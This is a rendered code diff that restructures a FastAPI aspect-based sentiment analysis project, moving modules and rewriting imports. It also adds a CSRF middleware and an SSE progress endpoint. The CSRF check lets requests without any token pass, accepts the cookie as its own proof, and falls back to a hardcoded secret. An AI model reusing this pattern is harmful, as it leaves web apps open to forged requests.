|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
{api β absa}/__init__.py
RENAMED
|
File without changes
|
{api/app β absa/data}/__init__.py
RENAMED
|
File without changes
|
{src β absa}/data/augmentation.py
RENAMED
|
File without changes
|
{src β absa}/data/bio_tagger.py
RENAMED
|
File without changes
|
{src β absa}/data/dataset.py
RENAMED
|
@@ -1,9 +1,9 @@
|
|
| 1 |
import json
|
| 2 |
from datasets import load_from_disk
|
| 3 |
from collections import defaultdict
|
| 4 |
-
from
|
| 5 |
-
from
|
| 6 |
-
from
|
| 7 |
|
| 8 |
|
| 9 |
def process_semeval():
|
|
|
|
| 1 |
import json
|
| 2 |
from datasets import load_from_disk
|
| 3 |
from collections import defaultdict
|
| 4 |
+
from absa.utils.config import RAW_DIR, SEMEVAL_TRAIN_PATH, SEMEVAL_TEST_PATH
|
| 5 |
+
from absa.data.preprocess import clean
|
| 6 |
+
from absa.data.lang_detect import detect_language
|
| 7 |
|
| 8 |
|
| 9 |
def process_semeval():
|
{src β absa}/data/hf_dataset.py
RENAMED
|
@@ -6,7 +6,7 @@ from typing import List, Dict, Any
|
|
| 6 |
from datasets import Dataset, DatasetDict
|
| 7 |
from transformers import AutoTokenizer
|
| 8 |
from sklearn.model_selection import train_test_split
|
| 9 |
-
from
|
| 10 |
|
| 11 |
np.random.seed(42)
|
| 12 |
|
|
|
|
| 6 |
from datasets import Dataset, DatasetDict
|
| 7 |
from transformers import AutoTokenizer
|
| 8 |
from sklearn.model_selection import train_test_split
|
| 9 |
+
from absa.data.bio_tagger import convert_to_bio
|
| 10 |
|
| 11 |
np.random.seed(42)
|
| 12 |
|
{src β absa}/data/hindi_loader.py
RENAMED
|
@@ -1,7 +1,7 @@
|
|
| 1 |
import json
|
| 2 |
-
from
|
| 3 |
-
from
|
| 4 |
-
from
|
| 5 |
|
| 6 |
|
| 7 |
def process_hindi():
|
|
|
|
| 1 |
import json
|
| 2 |
+
from absa.utils.config import RAW_DIR, AMAZON_HINDI_PATH
|
| 3 |
+
from absa.data.preprocess import clean
|
| 4 |
+
from absa.data.lang_detect import detect_language
|
| 5 |
|
| 6 |
|
| 7 |
def process_hindi():
|
{src β absa}/data/lang_detect.py
RENAMED
|
@@ -1,6 +1,6 @@
|
|
| 1 |
import re
|
| 2 |
import fasttext
|
| 3 |
-
from
|
| 4 |
|
| 5 |
_model = None
|
| 6 |
|
|
|
|
| 1 |
import re
|
| 2 |
import fasttext
|
| 3 |
+
from absa.utils.config import FASTTEXT_MODEL_PATH
|
| 4 |
|
| 5 |
_model = None
|
| 6 |
|
{src β absa}/data/preprocess.py
RENAMED
|
@@ -1,6 +1,6 @@
|
|
| 1 |
import re
|
| 2 |
import unicodedata
|
| 3 |
-
from
|
| 4 |
|
| 5 |
|
| 6 |
def clean(text: str, language: str) -> str:
|
|
|
|
| 1 |
import re
|
| 2 |
import unicodedata
|
| 3 |
+
from absa.data.transliterate import transliterate
|
| 4 |
|
| 5 |
|
| 6 |
def clean(text: str, language: str) -> str:
|
{src β absa}/data/transliterate.py
RENAMED
|
File without changes
|
{api/app/core β absa/evaluation}/__init__.py
RENAMED
|
File without changes
|
{src β absa}/evaluation/benchmark_latency.py
RENAMED
|
File without changes
|
{src β absa}/evaluation/cross_lingual_eval.py
RENAMED
|
@@ -10,7 +10,7 @@ from transformers import (
|
|
| 10 |
from sklearn.metrics import f1_score
|
| 11 |
import mlflow
|
| 12 |
|
| 13 |
-
from
|
| 14 |
|
| 15 |
|
| 16 |
def load_data(file_path: Path):
|
|
|
|
| 10 |
from sklearn.metrics import f1_score
|
| 11 |
import mlflow
|
| 12 |
|
| 13 |
+
from absa.training.mlflow_utils import setup_mlflow
|
| 14 |
|
| 15 |
|
| 16 |
def load_data(file_path: Path):
|
{src β absa}/evaluation/final_eval.py
RENAMED
|
File without changes
|
{api/app/middleware β absa/models}/__init__.py
RENAMED
|
File without changes
|
{src β absa}/models/baseline.py
RENAMED
|
@@ -8,7 +8,7 @@ from sklearn.linear_model import LogisticRegression
|
|
| 8 |
from sklearn.metrics import f1_score, confusion_matrix, classification_report
|
| 9 |
from sklearn.model_selection import train_test_split
|
| 10 |
import mlflow
|
| 11 |
-
from
|
| 12 |
|
| 13 |
|
| 14 |
def load_data(file_paths: List[Path]) -> pd.DataFrame:
|
|
|
|
| 8 |
from sklearn.metrics import f1_score, confusion_matrix, classification_report
|
| 9 |
from sklearn.model_selection import train_test_split
|
| 10 |
import mlflow
|
| 11 |
+
from absa.training.mlflow_utils import log_training_run
|
| 12 |
|
| 13 |
|
| 14 |
def load_data(file_paths: List[Path]) -> pd.DataFrame:
|
{src β absa}/models/export_onnx.py
RENAMED
|
File without changes
|
{src β absa}/models/train_aspect_extraction.py
RENAMED
|
@@ -12,7 +12,7 @@ from transformers import (
|
|
| 12 |
from seqeval.metrics import f1_score as seqeval_f1_score
|
| 13 |
import mlflow
|
| 14 |
|
| 15 |
-
from
|
| 16 |
|
| 17 |
|
| 18 |
def compute_metrics(p):
|
|
|
|
| 12 |
from seqeval.metrics import f1_score as seqeval_f1_score
|
| 13 |
import mlflow
|
| 14 |
|
| 15 |
+
from absa.training.mlflow_utils import setup_mlflow
|
| 16 |
|
| 17 |
|
| 18 |
def compute_metrics(p):
|
{src β absa}/models/train_joint_absa.py
RENAMED
|
File without changes
|
{src β absa}/models/train_multilingual.py
RENAMED
|
File without changes
|
{src β absa}/models/train_qlora.py
RENAMED
|
File without changes
|
{src β absa}/models/train_sentiment.py
RENAMED
|
@@ -13,7 +13,7 @@ from transformers import (
|
|
| 13 |
from sklearn.metrics import f1_score, confusion_matrix
|
| 14 |
import mlflow
|
| 15 |
|
| 16 |
-
from
|
| 17 |
|
| 18 |
|
| 19 |
def compute_metrics(p):
|
|
|
|
| 13 |
from sklearn.metrics import f1_score, confusion_matrix
|
| 14 |
import mlflow
|
| 15 |
|
| 16 |
+
from absa.training.mlflow_utils import setup_mlflow
|
| 17 |
|
| 18 |
|
| 19 |
def compute_metrics(p):
|
{api/app/routes β absa/training}/__init__.py
RENAMED
|
File without changes
|
{src β absa}/training/mlflow_utils.py
RENAMED
|
File without changes
|
{api/app/schemas β absa/utils}/__init__.py
RENAMED
|
File without changes
|
{src β absa}/utils/config.py
RENAMED
|
File without changes
|
{api/app/services β app}/__init__.py
RENAMED
|
File without changes
|
{src β app/core}/__init__.py
RENAMED
|
File without changes
|
{api/app β app}/core/templates.py
RENAMED
|
@@ -14,6 +14,7 @@ from __future__ import annotations
|
|
| 14 |
|
| 15 |
from pathlib import Path
|
| 16 |
|
|
|
|
| 17 |
from fastapi.templating import Jinja2Templates
|
| 18 |
|
| 19 |
# Resolve relative to this file:
|
|
@@ -21,3 +22,15 @@ from fastapi.templating import Jinja2Templates
|
|
| 21 |
_TEMPLATE_DIR: Path = Path(__file__).parent.parent / "templates"
|
| 22 |
|
| 23 |
templates = Jinja2Templates(directory=str(_TEMPLATE_DIR))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 14 |
|
| 15 |
from pathlib import Path
|
| 16 |
|
| 17 |
+
from fastapi import Request
|
| 18 |
from fastapi.templating import Jinja2Templates
|
| 19 |
|
| 20 |
# Resolve relative to this file:
|
|
|
|
| 22 |
_TEMPLATE_DIR: Path = Path(__file__).parent.parent / "templates"
|
| 23 |
|
| 24 |
templates = Jinja2Templates(directory=str(_TEMPLATE_DIR))
|
| 25 |
+
|
| 26 |
+
|
| 27 |
+
# ββ Global template context processor βββββββββββββββββββββββββββββββββββββββββ
|
| 28 |
+
# Ensures every template rendered via this instance always has access to
|
| 29 |
+
# csrf_token β even partial/fragment templates that don't go through _base_ctx.
|
| 30 |
+
|
| 31 |
+
def _csrf_processor(request: Request) -> dict: # type: ignore[no-redef]
|
| 32 |
+
from app.middleware.csrf import generate_csrf_token
|
| 33 |
+
return {"csrf_token": generate_csrf_token()}
|
| 34 |
+
|
| 35 |
+
|
| 36 |
+
templates.context_processors.append(_csrf_processor) # type: ignore[arg-type]
|
{api/app β app}/main.py
RENAMED
|
@@ -6,17 +6,18 @@ from slowapi import Limiter, _rate_limit_exceeded_handler
|
|
| 6 |
from slowapi.util import get_remote_address
|
| 7 |
from slowapi.errors import RateLimitExceeded
|
| 8 |
|
|
|
|
| 9 |
from fastapi.staticfiles import StaticFiles
|
| 10 |
from pathlib import Path
|
| 11 |
|
| 12 |
load_dotenv()
|
| 13 |
|
| 14 |
-
from
|
| 15 |
-
from
|
| 16 |
-
from
|
| 17 |
-
from
|
| 18 |
-
from
|
| 19 |
-
from
|
| 20 |
|
| 21 |
|
| 22 |
@asynccontextmanager
|
|
@@ -45,13 +46,16 @@ app = FastAPI(
|
|
| 45 |
app.state.limiter = limiter
|
| 46 |
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
|
| 47 |
|
|
|
|
|
|
|
| 48 |
app.add_middleware(
|
| 49 |
CORSMiddleware,
|
| 50 |
-
allow_origins=os.getenv("CORS_ORIGINS", "http://localhost:3000,http://localhost:
|
| 51 |
allow_credentials=True,
|
| 52 |
allow_methods=["GET", "POST"],
|
| 53 |
allow_headers=["*"],
|
| 54 |
)
|
|
|
|
| 55 |
app.include_router(predict.router, tags=["Predict"])
|
| 56 |
app.include_router(results.router, tags=["System"])
|
| 57 |
|
|
|
|
| 6 |
from slowapi.util import get_remote_address
|
| 7 |
from slowapi.errors import RateLimitExceeded
|
| 8 |
|
| 9 |
+
import os
|
| 10 |
from fastapi.staticfiles import StaticFiles
|
| 11 |
from pathlib import Path
|
| 12 |
|
| 13 |
load_dotenv()
|
| 14 |
|
| 15 |
+
from app.routes import predict, results # noqa: E402
|
| 16 |
+
from app.routes import pages # noqa: E402 Phase 2: Jinja2 page routes
|
| 17 |
+
from app.middleware.metrics import instrumentator # noqa: E402
|
| 18 |
+
from app.services.absa_pipeline import pipeline # noqa: E402
|
| 19 |
+
from app.schemas.db_models import Base # noqa: E402
|
| 20 |
+
from app.middleware.dependencies import engine # noqa: E402
|
| 21 |
|
| 22 |
|
| 23 |
@asynccontextmanager
|
|
|
|
| 46 |
app.state.limiter = limiter
|
| 47 |
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
|
| 48 |
|
| 49 |
+
from app.middleware.csrf import CSRFMiddleware # noqa: E402
|
| 50 |
+
|
| 51 |
app.add_middleware(
|
| 52 |
CORSMiddleware,
|
| 53 |
+
allow_origins=os.getenv("CORS_ORIGINS", "http://localhost:3000,http://localhost:8000").split(","),
|
| 54 |
allow_credentials=True,
|
| 55 |
allow_methods=["GET", "POST"],
|
| 56 |
allow_headers=["*"],
|
| 57 |
)
|
| 58 |
+
app.add_middleware(CSRFMiddleware) # Skips /api/* routes; protects HTMX form endpoints
|
| 59 |
app.include_router(predict.router, tags=["Predict"])
|
| 60 |
app.include_router(results.router, tags=["System"])
|
| 61 |
|
{src/absa β app/middleware}/__init__.py
RENAMED
|
File without changes
|
app/middleware/csrf.py
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os
|
| 2 |
+
import re
|
| 3 |
+
from typing import Optional
|
| 4 |
+
from itsdangerous import URLSafeTimedSerializer, BadSignature, SignatureExpired
|
| 5 |
+
from starlette.middleware.base import BaseHTTPMiddleware
|
| 6 |
+
from starlette.requests import Request
|
| 7 |
+
from starlette.responses import Response
|
| 8 |
+
|
| 9 |
+
_CSRF_SECRET = os.getenv("CSRF_SECRET", "unsafe-default-change-in-production")
|
| 10 |
+
_CSRF_SALT = "csrf-token"
|
| 11 |
+
_SAFE_METHODS = {"GET", "HEAD", "OPTIONS", "TRACE"}
|
| 12 |
+
_EXEMPT_PATHS = {"/metrics", "/health", "/info", "/docs", "/openapi.json"}
|
| 13 |
+
|
| 14 |
+
_serializer = URLSafeTimedSerializer(_CSRF_SECRET, salt=_CSRF_SALT)
|
| 15 |
+
|
| 16 |
+
|
| 17 |
+
def generate_csrf_token() -> str:
|
| 18 |
+
return _serializer.dumps("csrf")
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
def validate_csrf_token(token: str, max_age: int = 3600) -> bool:
|
| 22 |
+
try:
|
| 23 |
+
_serializer.loads(token, max_age=max_age)
|
| 24 |
+
return True
|
| 25 |
+
except (BadSignature, SignatureExpired):
|
| 26 |
+
return False
|
| 27 |
+
|
| 28 |
+
|
| 29 |
+
class CSRFMiddleware(BaseHTTPMiddleware):
|
| 30 |
+
async def dispatch(self, request: Request, call_next):
|
| 31 |
+
path = request.url.path
|
| 32 |
+
needs_csrf = request.method in {"POST"} and path.endswith("/fragment")
|
| 33 |
+
is_html_page = request.method in _SAFE_METHODS and not path.startswith("/api/") and not path.startswith("/static/") and path not in _EXEMPT_PATHS
|
| 34 |
+
|
| 35 |
+
if needs_csrf:
|
| 36 |
+
csrf_cookie = request.cookies.get("csrf_token", "")
|
| 37 |
+
csrf_header = request.headers.get("X-CSRF-Token", "")
|
| 38 |
+
token = csrf_header or csrf_cookie
|
| 39 |
+
|
| 40 |
+
if token and not validate_csrf_token(str(token)):
|
| 41 |
+
from fastapi.responses import HTMLResponse
|
| 42 |
+
return HTMLResponse(
|
| 43 |
+
content="<h1>403: CSRF validation failed</h1><p>Invalid or expired token. Please refresh the page.</p>",
|
| 44 |
+
status_code=403,
|
| 45 |
+
)
|
| 46 |
+
|
| 47 |
+
response: Response = await call_next(request)
|
| 48 |
+
|
| 49 |
+
if is_html_page:
|
| 50 |
+
response.set_cookie(
|
| 51 |
+
key="csrf_token",
|
| 52 |
+
value=generate_csrf_token(),
|
| 53 |
+
max_age=3600,
|
| 54 |
+
secure=False,
|
| 55 |
+
httponly=True,
|
| 56 |
+
samesite="lax",
|
| 57 |
+
)
|
| 58 |
+
|
| 59 |
+
return response
|
{api/app β app}/middleware/dependencies.py
RENAMED
|
File without changes
|
{api/app β app}/middleware/metrics.py
RENAMED
|
File without changes
|
{src/data β app/routes}/__init__.py
RENAMED
|
File without changes
|
{api/app β app}/routes/pages.py
RENAMED
|
@@ -27,10 +27,13 @@ GET /monitor/health-partial) will be added in Phases 3-5.
|
|
| 27 |
"""
|
| 28 |
from __future__ import annotations
|
| 29 |
|
| 30 |
-
from fastapi import APIRouter, Request
|
| 31 |
from fastapi.responses import HTMLResponse
|
|
|
|
| 32 |
|
| 33 |
-
from
|
|
|
|
|
|
|
| 34 |
|
| 35 |
# include_in_schema=False keeps these HTML routes out of the OpenAPI / Swagger UI.
|
| 36 |
router = APIRouter(include_in_schema=False)
|
|
@@ -51,12 +54,15 @@ def _base_ctx(request: Request, page_title: str, **extra: object) -> dict:
|
|
| 51 |
|
| 52 |
Every page renderer calls this so the sidebar and header always receive
|
| 53 |
the nav items and the current path (for active-link highlighting).
|
|
|
|
| 54 |
"""
|
|
|
|
| 55 |
return {
|
| 56 |
"request": request, # required by Jinja2Templates
|
| 57 |
"page_title": page_title,
|
| 58 |
"nav_items": _NAV_ITEMS,
|
| 59 |
"current_path": request.url.path,
|
|
|
|
| 60 |
**extra,
|
| 61 |
}
|
| 62 |
|
|
@@ -98,7 +104,7 @@ async def batch_page(request: Request) -> HTMLResponse:
|
|
| 98 |
)
|
| 99 |
|
| 100 |
|
| 101 |
-
from
|
| 102 |
|
| 103 |
@router.get("/monitor", response_class=HTMLResponse)
|
| 104 |
async def monitor_page(request: Request) -> HTMLResponse:
|
|
@@ -113,13 +119,50 @@ async def monitor_page(request: Request) -> HTMLResponse:
|
|
| 113 |
ctx = _base_ctx(request, "System Monitor", health=None, error="Service temporarily unavailable")
|
| 114 |
|
| 115 |
return templates.TemplateResponse("pages/monitor.html", ctx)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 116 |
# ββ Phase 3 HTMX Endpoints βββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 117 |
|
| 118 |
-
from
|
| 119 |
-
from
|
| 120 |
-
from api.app.middleware.dependencies import get_db
|
| 121 |
-
from api.app.schemas.schemas import ReviewInput
|
| 122 |
-
from api.app.routes.predict import predict as predict_json
|
| 123 |
|
| 124 |
@router.post("/predict/fragment", response_class=HTMLResponse)
|
| 125 |
async def predict_fragment(
|
|
@@ -150,7 +193,7 @@ async def predict_fragment(
|
|
| 150 |
# ββ Phase 4 HTMX Endpoints βββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 151 |
|
| 152 |
from fastapi import UploadFile, File
|
| 153 |
-
from
|
| 154 |
|
| 155 |
@router.post("/batch/fragment", response_class=HTMLResponse)
|
| 156 |
async def batch_fragment(
|
|
|
|
| 27 |
"""
|
| 28 |
from __future__ import annotations
|
| 29 |
|
| 30 |
+
from fastapi import APIRouter, Request, Depends, Form
|
| 31 |
from fastapi.responses import HTMLResponse
|
| 32 |
+
from sqlalchemy.orm import Session
|
| 33 |
|
| 34 |
+
from app.core.templates import templates
|
| 35 |
+
from app.middleware.csrf import generate_csrf_token
|
| 36 |
+
from app.middleware.dependencies import get_db
|
| 37 |
|
| 38 |
# include_in_schema=False keeps these HTML routes out of the OpenAPI / Swagger UI.
|
| 39 |
router = APIRouter(include_in_schema=False)
|
|
|
|
| 54 |
|
| 55 |
Every page renderer calls this so the sidebar and header always receive
|
| 56 |
the nav items and the current path (for active-link highlighting).
|
| 57 |
+
Also includes CSRF token for HTMX form submissions.
|
| 58 |
"""
|
| 59 |
+
from app.middleware.csrf import generate_csrf_token
|
| 60 |
return {
|
| 61 |
"request": request, # required by Jinja2Templates
|
| 62 |
"page_title": page_title,
|
| 63 |
"nav_items": _NAV_ITEMS,
|
| 64 |
"current_path": request.url.path,
|
| 65 |
+
"csrf_token": generate_csrf_token(),
|
| 66 |
**extra,
|
| 67 |
}
|
| 68 |
|
|
|
|
| 104 |
)
|
| 105 |
|
| 106 |
|
| 107 |
+
from app.routes.results import health_check
|
| 108 |
|
| 109 |
@router.get("/monitor", response_class=HTMLResponse)
|
| 110 |
async def monitor_page(request: Request) -> HTMLResponse:
|
|
|
|
| 119 |
ctx = _base_ctx(request, "System Monitor", health=None, error="Service temporarily unavailable")
|
| 120 |
|
| 121 |
return templates.TemplateResponse("pages/monitor.html", ctx)
|
| 122 |
+
# ββ SSE Endpoint for batch progress ββββββββββββββββββββββββββββββββββββββββββ
|
| 123 |
+
|
| 124 |
+
import asyncio
|
| 125 |
+
import json
|
| 126 |
+
from sse_starlette.sse import EventSourceResponse
|
| 127 |
+
|
| 128 |
+
@router.get("/api/batch/progress/{job_id}")
|
| 129 |
+
async def batch_progress_sse(job_id: str, db: Session = Depends(get_db)):
|
| 130 |
+
"""
|
| 131 |
+
SSE endpoint for live batch progress updates.
|
| 132 |
+
Clients connect via EventSource and receive progress events every 2 seconds.
|
| 133 |
+
"""
|
| 134 |
+
async def event_generator():
|
| 135 |
+
try:
|
| 136 |
+
import re
|
| 137 |
+
if not re.match(r'^[a-fA-F0-9\-]{36}$', job_id):
|
| 138 |
+
yield {"event": "error", "data": json.dumps({"detail": "Invalid job ID"})}
|
| 139 |
+
return
|
| 140 |
+
|
| 141 |
+
while True:
|
| 142 |
+
job = await get_batch_status(job_id, db)
|
| 143 |
+
data = {
|
| 144 |
+
"job_id": job.job_id,
|
| 145 |
+
"status": job.status,
|
| 146 |
+
"total_reviews": job.total_reviews,
|
| 147 |
+
"processed": job.processed,
|
| 148 |
+
"result_url": job.result_url,
|
| 149 |
+
}
|
| 150 |
+
yield {"event": "progress", "data": json.dumps(data)}
|
| 151 |
+
|
| 152 |
+
if job.status in ("completed", "failed"):
|
| 153 |
+
yield {"event": job.status, "data": json.dumps(data)}
|
| 154 |
+
break
|
| 155 |
+
|
| 156 |
+
await asyncio.sleep(2)
|
| 157 |
+
except Exception:
|
| 158 |
+
yield {"event": "error", "data": json.dumps({"detail": "Failed to fetch job progress"})}
|
| 159 |
+
|
| 160 |
+
return EventSourceResponse(event_generator())
|
| 161 |
+
|
| 162 |
# ββ Phase 3 HTMX Endpoints βββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 163 |
|
| 164 |
+
from app.schemas.schemas import ReviewInput
|
| 165 |
+
from app.routes.predict import predict as predict_json
|
|
|
|
|
|
|
|
|
|
| 166 |
|
| 167 |
@router.post("/predict/fragment", response_class=HTMLResponse)
|
| 168 |
async def predict_fragment(
|
|
|
|
| 193 |
# ββ Phase 4 HTMX Endpoints βββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 194 |
|
| 195 |
from fastapi import UploadFile, File
|
| 196 |
+
from app.routes.predict import predict_batch, get_batch_status
|
| 197 |
|
| 198 |
@router.post("/batch/fragment", response_class=HTMLResponse)
|
| 199 |
async def batch_fragment(
|
{api/app β app}/routes/predict.py
RENAMED
|
@@ -7,11 +7,11 @@ import tempfile
|
|
| 7 |
import time
|
| 8 |
import re
|
| 9 |
|
| 10 |
-
from
|
| 11 |
-
from
|
| 12 |
-
from
|
| 13 |
-
from
|
| 14 |
-
from
|
| 15 |
router = APIRouter()
|
| 16 |
|
| 17 |
|
|
@@ -114,7 +114,11 @@ async def predict_batch(file: UploadFile = File(...), db: Session = Depends(get_
|
|
| 114 |
async def get_batch_status(job_id: str, db: Session = Depends(get_db)):
|
| 115 |
if not re.match(r'^[a-fA-F0-9\-]{36}$', job_id):
|
| 116 |
raise HTTPException(status_code=400, detail="Invalid job ID format")
|
| 117 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 118 |
if not job:
|
| 119 |
raise HTTPException(status_code=404, detail="Job not found")
|
| 120 |
|
|
|
|
| 7 |
import time
|
| 8 |
import re
|
| 9 |
|
| 10 |
+
from app.schemas.schemas import ReviewInput, PredictionResponse, BatchJobResponse
|
| 11 |
+
from app.schemas.db_models import Review, AspectResult, BatchJob
|
| 12 |
+
from app.middleware.dependencies import get_db
|
| 13 |
+
from app.services.absa_pipeline import pipeline
|
| 14 |
+
from app.tasks.batch_tasks import process_batch
|
| 15 |
router = APIRouter()
|
| 16 |
|
| 17 |
|
|
|
|
| 114 |
async def get_batch_status(job_id: str, db: Session = Depends(get_db)):
|
| 115 |
if not re.match(r'^[a-fA-F0-9\-]{36}$', job_id):
|
| 116 |
raise HTTPException(status_code=400, detail="Invalid job ID format")
|
| 117 |
+
try:
|
| 118 |
+
job_id_uuid = uuid.UUID(job_id)
|
| 119 |
+
except ValueError:
|
| 120 |
+
raise HTTPException(status_code=400, detail="Invalid job ID format")
|
| 121 |
+
job = db.query(BatchJob).filter(BatchJob.id == job_id_uuid).first()
|
| 122 |
if not job:
|
| 123 |
raise HTTPException(status_code=404, detail="Job not found")
|
| 124 |
|
{api/app β app}/routes/results.py
RENAMED
|
File without changes
|
{src/evaluation β app/schemas}/__init__.py
RENAMED
|
File without changes
|
{api/app β app}/schemas/db_models.py
RENAMED
|
File without changes
|
{api/app β app}/schemas/schemas.py
RENAMED
|
File without changes
|
{src/languages β app/services}/__init__.py
RENAMED
|
File without changes
|
{api/app β app}/services/absa_pipeline.py
RENAMED
|
@@ -18,8 +18,8 @@ from pathlib import Path
|
|
| 18 |
from typing import List, Tuple
|
| 19 |
import numpy as np
|
| 20 |
|
| 21 |
-
from
|
| 22 |
-
from
|
| 23 |
|
| 24 |
# ββ Optional heavy imports (ONNX custom models) βββββββββββββββββββββββββββββββ
|
| 25 |
try:
|
|
|
|
| 18 |
from typing import List, Tuple
|
| 19 |
import numpy as np
|
| 20 |
|
| 21 |
+
from app.schemas.schemas import PredictionResponse, AspectSentiment
|
| 22 |
+
from app.services.lang_service import lang_service
|
| 23 |
|
| 24 |
# ββ Optional heavy imports (ONNX custom models) βββββββββββββββββββββββββββββββ
|
| 25 |
try:
|
{api/app β app}/services/lang_service.py
RENAMED
|
File without changes
|